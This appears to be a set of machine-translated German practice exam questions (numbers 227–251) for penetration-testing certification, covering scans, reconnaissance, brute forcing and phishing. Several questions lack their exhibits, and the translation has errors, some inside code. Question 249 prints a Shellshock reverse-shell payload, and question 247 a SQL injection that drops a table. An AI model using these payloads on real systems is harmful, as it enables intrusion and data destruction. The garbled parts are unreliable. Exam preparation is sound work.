FRAGE 227
Welches der folgenden Elemente eines Penetrationstestberichts zielt darauf ab, eine normalisierte und standardisierte Darstellung der entdeckten Schwachstellen und der Gesamtbedrohung, die sie für ein betroffenes System oder Netzwerk darstellen, zu liefern?

FRAGE 228
Ein Penetrationstester arbeitet mit einem neuen Kunden an einem Scoping-Dokument. Die vom Kunden verwendete Methodik umfasst Folgendes:
Interaktion im Vorfeld des Engagements (Scoping und ROE)
Nachrichtenbeschaffung (Aufklärung)
Modellierung von Bedrohungen
Analyse der Schwachstellen
Ausbeutung und Nachausbeutung
Berichterstattung
Welche der folgenden Methoden wendet der Kunde an?

FRAGE 229
Sie sind ein Penetrationstester, der Port-Scans auf einem Server durchführt.
ANLEITUNGEN
Teil 1: Konstruieren Sie anhand der Ausgabe den Befehl, mit dem diese Ausgabe erzeugt wurde, aus den verfügbaren Optionen.
Teil 2: Sobald der Befehl angemessen aufgebaut ist, verwenden Sie die gegebene Ausgabe, um die potenziellen Angriffsvektoren zu identifizieren, die weiter untersucht werden sollten.
Wenn Sie zu einem beliebigen Zeitpunkt den Ausgangszustand der Simulation wiederherstellen möchten, klicken Sie bitte auf die Schaltfläche Alles zurücksetzen.

FRAGE 230
Ein Penetrationstester sucht nach einer Schwachstelle, die es Angreifern ermöglicht, Türen über einen speziellen TCP-Dienst zu öffnen, der für ein physisches Zugangskontrollsystem verwendet wird. Der Dienst ist auf mehr als 100 verschiedenen Hosts vorhanden, so dass der Tester die Bewertung gerne automatisieren würde. Für die Identifizierung muss der Penetrationstester Folgendes tun:
Sie haben eine vollständige TCP-Verbindung
Senden einer "Hallo"-Nutzlast
Walt für eine Antwort
Senden einer Zeichenkette, die länger als 16 Bytes ist
Welcher der folgenden Ansätze würde das Ziel am BESTEN unterstützen?

FRAGE 231
Ein Penetrationstester führt eine Erkundung für eine Bewertung einer Webanwendung durch. Bei der Untersuchung überprüft der Tester die robots.txt-Datei auf interessante Elemente.
ANLEITUNGEN
Wählen Sie das Tool, das der Penetrationstester für die weitere Untersuchung verwenden soll.
Wählen Sie die beiden Einträge in der robots.txt-Datei aus, die der Penetrationstester zur Entfernung empfehlen soll.

FRAGE 232
Ein Penetrationstester möchte FTP-Zugangsdaten erhalten, indem er eine Workstation als On-Path-Angriff zwischen dem Ziel und dem Server mit dem FTP-Protokoll einsetzt. Welche der folgenden Methoden wäre die BESTE, um dieses Ziel zu erreichen?

FRAGE 233
Ein Penetrationstester erhält die folgenden Ergebnisse eines Nmap-Scans:

Welches der folgenden Betriebssysteme läuft am ehesten auf dem Zielsystem?

FRAGE 234
Ein Penetrationstester bereitet sich auf die Durchführung von Aktivitäten für einen Kunden vor, die nur eine minimale Störung des Unternehmensbetriebs erfordern. Welche der folgenden Methoden gelten als passive Aufklärungsmethoden? (Wählen Sie zwei.)

FRAGE 235
Ein Penetrationstester gibt den folgenden Befehl aus, nachdem er eine Reverse-Shell mit geringen Rechten erhalten hat: wmic service get name,pathname,startmode Welcher der folgenden Gründe ist am wahrscheinlichsten, dass der Penetrationstester diesen Befehl ausgeführt hat?

FRAGE 236
Die folgende Ausgabe stammt von der Erkundung einer öffentlich zugänglichen Banken-Website:

Welcher der folgenden Angriffe ist auf der Grundlage dieser Ergebnisse am wahrscheinlichsten erfolgreich?

FRAGE 237
Ein Penetrationstester nutzte Nmap, um den Host 64.13.134.52 zu scannen, und erhielt die folgenden Ergebnisse:

Welche der folgenden Dienste werden am ehesten ausgenutzt? (Wählen Sie zwei.)

FRAGE 238
Die Ergebnisse eines Nmap-Scans sehen wie folgt aus:

Welche der folgenden Aussagen ist die BESTE Schlussfolgerung zu diesem Gerät?

FRAGE 239
Ein Penetrationstester, der einen Test einer Webanwendung durchführt, entdeckt eine Clickjacking-Schwachstelle im Zusammenhang mit einer Anmeldeseite für Finanzdaten. Welche der folgenden Maßnahmen sollte der Tester mit diesen Informationen ergreifen, um die Schwachstelle erfolgreich auszunutzen?

FRAGE 240
Welches der folgenden Tools kann ein Penetrationstester verwenden, um ein Benutzerpasswort über SSH mit mehreren Threads zu erzwingen?

FRAGE 241
Ein Penetrationstester erhält die folgenden Ergebnisse eines Nmap-Scans:

Welches der folgenden Betriebssysteme läuft am ehesten auf dem Zielsystem?

FRAGE 242
Ein Penetrationstester möchte das Passwort für ein beliebiges Konto in der Domäne herausfinden, ohne eines der Konten zu sperren. Welchen der folgenden Befehle sollte der Prüfer verwenden?

FRAGE 243
Einsatz eines Schwachstellen-Scanners in einem hybriden Netzwerksegment, das allgemeine IT-Server und industrielle Kontrollsysteme umfasst:

FRAGE 244
Ein Penetrationstester hat die folgende Phishing-E-Mail für einen bevorstehenden Penetrationstest vorbereitet:

Welche der folgenden Möglichkeiten nutzt der Penetrationstester am meisten, um Phishing-Zielpersonen zum Klicken auf den Link zu bewegen?

FRAGE 245
Ein Penetrationstester führt einen On-Path-Link-Layer-Angriff durch, um die Kontrolle über einen Schlüsselanhänger zu übernehmen, der ein Elektrofahrzeug steuert. Mit welchem der folgenden drahtlosen Angriffe könnte ein Penetrationstester einen erfolgreichen Angriff durchführen?

FRAGE 246
Nachdem ein Penetrationstester ein System kompromittiert hat, möchte er weitere Informationen erhalten, um zu entscheiden, welche Maßnahmen er als Nächstes ergreifen will. Der Prüfer führt die folgenden Befehle aus:

Welchen der folgenden Angriffe versucht der Penetrationstester am ehesten durchzuführen?

FRAGE 247
Ein Penetrationstester führte eine Bewertung eines Webservers durch. Die Protokolle dieser Sitzung zeigen Folgendes:
http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -
Welcher der folgenden Angriffe wird versucht?

FRAGE 248
Während einer Prüfung konnte ein Penetrationstester mit einem Laptop, auf dem Aircrack-ng lief, von außerhalb des Gebäudes auf das drahtlose Netzwerk des Unternehmens zugreifen. Welche der folgenden Maßnahmen sollte dem Kunden empfohlen werden, um dieses Problem zu beheben?

FRAGE 249
Ein Penetrationstester entdeckt einen verwundbaren Webserver unter 10.10.1.1. Der Tester bearbeitet dann ein Python-Skript, das einen Web-Exploit sendet, und stößt auf den folgenden Code:
exploits = {"User-Agent": "() { ignoriert;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"} Welche der folgenden Änderungen sollte der Prüfer am Skript vornehmen, um den Benutzerkontext zu bestimmen, in dem der Server ausgeführt wird?

FRAGE 250
Ein Penetrationstester entdeckt während der Erkundungsphase des Penetrationstests Passwörter in einer öffentlich zugänglichen Datenpanne. Welche der folgenden Maßnahmen sollte der Prüfer ergreifen?

FRAGE 251
Sie sind ein Penetrationstester, der die Website eines Kunden über einen Webbrowser überprüft.
ANLEITUNGEN
Überprüfen Sie alle Komponenten der Website mit dem Browser, um festzustellen, ob Sicherheitslücken vorhanden sind.
Beheben Sie NUR die höchste Schwachstelle, entweder im Zertifikat, in der Quelle oder in den Cookies.
Wenn Sie zu einem beliebigen Zeitpunkt den Ausgangszustand der Simulation wiederherstellen möchten, klicken Sie bitte auf die Schaltfläche Alles zurücksetzen.